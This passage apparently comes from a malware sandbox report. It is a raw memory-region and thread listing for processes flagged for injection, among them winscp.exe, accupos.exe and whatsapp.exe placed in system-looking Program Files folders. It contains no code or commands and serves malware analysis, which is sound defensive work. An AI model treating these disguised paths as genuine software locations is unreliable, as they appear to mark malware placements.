0x266fff monitored = 0 entry_point = 0x2514a1 region_type = mapped_file name = "whatsapp.exe" filename = "\\Program Files\\Microsoft.NET\\whatsapp.exe" (normalized: "c:\\program files\\microsoft.net\\whatsapp.exe") Region: id = 3913 start_va = 0x2a0000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 3914 start_va = 0x3f0000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3915 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3916 start_va = 0x600000 end_va = 0x6bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3917 start_va = 0x7c0000 end_va = 0x947fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 3918 start_va = 0x950000 end_va = 0xad0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000950000" filename = "" Region: id = 3919 start_va = 0xae0000 end_va = 0x1edffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ae0000" filename = "" Region: id = 3920 start_va = 0x1f50000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 3921 start_va = 0x1f60000 end_va = 0x201bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f60000" filename = "" Region: id = 3922 start_va = 0x2080000 end_va = 0x208ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002080000" filename = "" Region: id = 3923 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3924 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3925 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3926 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3927 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3928 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3929 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3930 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3931 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3932 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3933 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3934 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3935 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3936 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3937 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3938 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3939 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3940 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3941 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3942 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3943 start_va = 0x7ece0000 end_va = 0x7eddffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ece0000" filename = "" Region: id = 3944 start_va = 0x7ede0000 end_va = 0x7ee02fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ede0000" filename = "" Region: id = 3945 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3946 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3947 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3948 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 3949 start_va = 0x230000 end_va = 0x233fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 3950 start_va = 0x240000 end_va = 0x240fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000240000" filename = "" Region: id = 3951 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 3952 start_va = 0xc0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3953 start_va = 0x6c0000 end_va = 0x7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 3954 start_va = 0x270000 end_va = 0x270fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 3955 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 3956 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 3957 start_va = 0x2090000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002090000" filename = "" Region: id = 3958 start_va = 0x2110000 end_va = 0x2446fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 255 os_tid = 0xf64 Thread: id = 256 os_tid = 0xf58 Thread: id = 363 os_tid = 0xab8 Process: id = "57" image_name = "winscp.exe" filename = "c:\\program files\\windows multimedia platform\\winscp.exe" page_root = "0x485e9000" os_pid = "0xf68" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Windows Multimedia Platform\\winscp.exe\" " cur_dir = "C:\\Program Files\\Windows Multimedia Platform\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3853 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3854 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3855 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3856 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3857 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 3858 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 3859 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3860 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 3861 start_va = 0x1c0000 end_va = 0x1c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 3862 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 3863 start_va = 0x1e0000 end_va = 0x1e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 3864 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3865 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 3866 start_va = 0x4a0000 end_va = 0x55dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3867 start_va = 0x670000 end_va = 0x76ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3868 start_va = 0x770000 end_va = 0x8f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 3869 start_va = 0x900000 end_va = 0xa80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 3870 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 3871 start_va = 0xb30000 end_va = 0xbebfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 3872 start_va = 0xc20000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 3873 start_va = 0xea0000 end_va = 0xeb6fff monitored = 0 entry_point = 0xea14a1 region_type = mapped_file name = "winscp.exe" filename = "\\Program Files\\Windows Multimedia Platform\\winscp.exe" (normalized: "c:\\program files\\windows multimedia platform\\winscp.exe") Region: id = 3874 start_va = 0xec0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ec0000" filename = "" Region: id = 3875 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3876 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3877 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3878 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3879 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3880 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3881 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3882 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3883 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3884 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3885 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3886 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 3887 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 3888 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3889 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3890 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3891 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3892 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3893 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3894 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3895 start_va = 0x7f240000 end_va = 0x7f33ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f240000" filename = "" Region: id = 3896 start_va = 0x7f340000 end_va = 0x7f362fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f340000" filename = "" Region: id = 3897 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3898 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3899 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3900 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 5954 start_va = 0x1f0000 end_va = 0x1f3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 5955 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 5956 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 5957 start_va = 0x410000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 5958 start_va = 0x560000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 5959 start_va = 0x450000 end_va = 0x450fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5960 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 5961 start_va = 0x460000 end_va = 0x460fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 5962 start_va = 0xa90000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a90000" filename = "" Region: id = 5963 start_va = 0x22c0000 end_va = 0x25f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 257 os_tid = 0xf78 Thread: id = 258 os_tid = 0xf6c Thread: id = 398 os_tid = 0x1384 Process: id = "58" image_name = "accupos.exe" filename = "c:\\program files (x86)\\windows portable devices\\accupos.exe" page_root = "0x6a117000" os_pid = "0xf8c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Windows Portable Devices\\accupos.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Portable Devices\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3695 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3696 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3697 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3698 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3699 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3700 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3701 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3702 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 3703 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3704 start_va = 0x400000 end_va = 0x400fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3705 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 3706 start_va = 0x460000 end_va = 0x51dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3707 start_va = 0x730000 end_va = 0x733fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 3708 start_va = 0x740000 end_va = 0x743fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 3709 start_va = 0x750000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 3710 start_va = 0x8a0000 end_va = 0x8b6fff monitored = 0 entry_point = 0x8a14a1 region_type = mapped_file name = "accupos.exe" filename = "\\Program Files (x86)\\Windows Portable Devices\\accupos.exe" (normalized: "c:\\program files (x86)\\windows portable devices\\accupos.exe") Region: id = 3711 start_va = 0x8c0000 end_va = 0xa47fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008c0000" filename = "" Region: id = 3712 start_va = 0xa50000 end_va = 0xbd0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a50000" filename = "" Region: id = 3713 start_va = 0xbe0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000be0000" filename = "" Region: id = 3714 start_va = 0x1fe0000 end_va = 0x209bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fe0000" filename = "" Region: id = 3715 start_va = 0x20b0000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 3716 start_va = 0x21e0000 end_va = 0x21effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 3717 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3718 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3719 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3720 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3721 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3722 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 3723 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3724 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3725 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3726 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3727 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file 